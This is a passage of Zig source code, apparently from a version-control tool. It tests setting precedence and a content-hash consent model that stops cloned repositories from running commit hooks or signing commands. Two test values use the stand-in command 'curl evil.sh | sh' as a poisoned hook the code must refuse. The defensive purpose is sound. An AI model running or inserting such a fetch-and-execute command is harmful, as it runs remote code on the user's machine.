"\n")); try testing.expect(!std.mem.endsWith(u8, after, "\n\n")); } { // Empty file -> just the one line. const after = try globalSet(gpa, "", .autosync, "off"); defer gpa.free(after); try testing.expectEqualStrings("autosync off\n", after); } { // A duplicate line for the same setting collapses: leaving a value that // no longer takes effect in the file is how an operator edits the wrong // one next time. const after = try globalSet(gpa, "clearsign on\nclearsign on\n", .clearsign, "off"); defer gpa.free(after); try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign ")); try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?); } } test "settings: booleans refuse a guess" { try testing.expectEqual(true, parseBool("on").?); try testing.expectEqual(false, parseBool("off").?); // "yes"/"true"/"1" are NOT accepted: guessing "off" for a typo silently // disables a check the operator asked for. try testing.expect(parseBool("yes") == null); try testing.expect(parseBool("true") == null); try testing.expect(parseBool("") == null); } test "settings: versioned paths live under .zit-settings and only for versionable settings" { var buf: [128]u8 = undefined; try testing.expectEqualStrings(".zit-settings/keep-glob", Setting.keep_glob.versionedPath(&buf).?); try testing.expectEqualStrings(".zit-settings/before-commit", Setting.before_commit.versionedPath(&buf).?); // The whole point: no tracked file can ever supply an executable setting. try testing.expect(Setting.pgp_command.versionedPath(&buf) == null); try testing.expect(Setting.clearsign.versionedPath(&buf) == null); } test "settings: resolve implements the documented precedence, and enforces the tier boundary" { // Every tier answering: the highest wins, in order. const all: Candidates = .{ .environment = "env", .versioned = "ver", .repository = "repo", .global = "glob", }; // pgp-command names an environment variable, so the environment wins. try testing.expectEqual(Source.environment, resolve(.pgp_command, all).source); // keep-glob names none, so the environment candidate is ignored entirely // and the versioned file wins -- a stray variable cannot start driving a // setting that never had one. try testing.expectEqual(Source.versioned, resolve(.keep_glob, all).source); try testing.expectEqualStrings("ver", resolve(.keep_glob, all).value); // THE security boundary, asserted at the resolver: a versioned file cannot // supply an executable setting even when one is present on disk. Without // the environment candidate, pgp-command must fall past `versioned` to the // repository tier rather than executing what a clone shipped. const no_env: Candidates = .{ .versioned = "curl evil.sh | sh", .repository = "repo", .global = "glob" }; const r = resolve(.pgp_command, no_env); try testing.expectEqual(Source.repository, r.source); try testing.expectEqualStrings("repo", r.value); // Falling through, one tier at a time. try testing.expectEqual(Source.repository, resolve(.keep_glob, .{ .repository = "repo", .global = "glob" }).source); try testing.expectEqual(Source.global, resolve(.keep_glob, .{ .global = "glob" }).source); try testing.expectEqual(Source.default, resolve(.keep_glob, .{}).source); // Defaults come from the setting, not from the caller. try testing.expectEqualStrings("on", resolve(.autosync, .{}).value); try testing.expectEqualStrings("off", resolve(.clearsign, .{}).value); try testing.expectEqualStrings("gpg --clearsign -o ", resolve(.pgp_command, .{}).value); // An EMPTY local value is a real value and must shadow a global one -- // clearing a glob list locally is exactly this case, and treating "" as // absent would silently reinstate the global list. const cleared = resolve(.ignore_glob, .{ .repository = "", .global = "*.tmp" }); try testing.expectEqual(Source.repository, cleared.source); try testing.expectEqualStrings("", cleared.value); } // --------------------------------------------------------------------------- // before-commit: a versioned declaration, local consent to execute // --------------------------------------------------------------------------- /// Whether a `before-commit` declaration may be EXECUTED, and why not when it /// may not. Separate from resolving its value, because the two questions have /// different answers: the command is perfectly well-defined while still being /// something this machine has not agreed to run. pub const TrustVerdict = enum { /// No declaration; nothing to run. none, /// The operator authored it here (repository, global, or environment tier), /// so no consent step applies -- consent is what authoring IS. self_authored, /// A versioned declaration whose content hash matches the local record. trusted, /// A versioned declaration with no local trust record at all. untrusted, /// A versioned declaration that WAS trusted and has since changed. Held /// apart from `untrusted` because the remedy and the risk differ: this is /// the case where a pull may have altered a script the operator already /// agreed to run, and the diagnostic should say so. changed, }; /// Lowercase-hex SHA-256 of a declaration -- the identity a trust record pins. /// Hashing the CONTENT rather than recording a boolean is what makes consent /// self-revoking: any edit, from any source, produces a different hash and the /// check refuses again until a human looks at it. pub fn declarationHash(text: []const u8, out: *[64]u8) []const u8 { var digest: [32]u8 = undefined; std.crypto.hash.sha2.Sha256.hash(text, &digest, .{}); const hex = std.fmt.bytesToHex(digest, .lower); @memcpy(out, &hex); return out[0..]; } /// The execution verdict for a resolved `before-commit`. /// /// The whole of the security argument is these few lines. Git refuses to let /// hooks travel at all, so projects reach for husky and lefthook to put them /// back; fossil lets them travel and executes them, with a boundary that /// happens to depend on the transport. Splitting DECLARATION from CONSENT gives /// the project its checks and the machine its veto: /// /// * a declaration the operator wrote here runs, because writing it is consent; /// * a declaration that arrived with the repository runs only after this /// checkout says so, once, against that exact content; /// * cloning a hostile repository executes nothing, and neither does pulling /// a poisoned edit into a repository whose check was already trusted. pub fn trustVerdict( declaration: []const u8, source: Source, trusted_hash: []const u8, ) TrustVerdict { if (declaration.len == 0) return .none; // Only a VERSIONED declaration is untrusted by default: the other tiers are // this machine's own state and cannot have been supplied by a peer. if (source != .versioned) return .self_authored; if (trusted_hash.len == 0) return .untrusted; var buf: [64]u8 = undefined; const want = declarationHash(declaration, &buf); return if (std.mem.eql(u8, want, trusted_hash)) .trusted else .changed; } test "settings: consent is required for versioned declarations only, and self-revokes on edit" { var buf: [64]u8 = undefined; const decl = "zig fmt --check src && zig build test"; const h = declarationHash(decl, &buf); // No declaration: nothing to decide. try testing.expectEqual(TrustVerdict.none, trustVerdict("", .versioned, "")); // Authored here -- in ANY local tier -- needs no consent step, because // writing the command is the consent. try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .repository, "")); try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .global, "")); try testing.expectEqual(TrustVerdict.self_authored, trustVerdict(decl, .environment, "")); // Arrived with the repository: inert until this checkout agrees. try testing.expectEqual(TrustVerdict.untrusted, trustVerdict(decl, .versioned, "")); try testing.expectEqual(TrustVerdict.trusted, trustVerdict(decl, .versioned, h)); // THE POINT: consent is pinned to CONTENT, so a pulled edit revokes it // automatically rather than riding in on a hash nobody re-checked. var buf2: [64]u8 = undefined; const poisoned = "curl evil.sh | sh"; try testing.expectEqual(TrustVerdict.changed, trustVerdict(poisoned, .versioned, h)); // ...and trusting the new content is a different record from the old one. try testing.expect(!std.mem.eql(u8, h, declarationHash(poisoned, &buf2))); }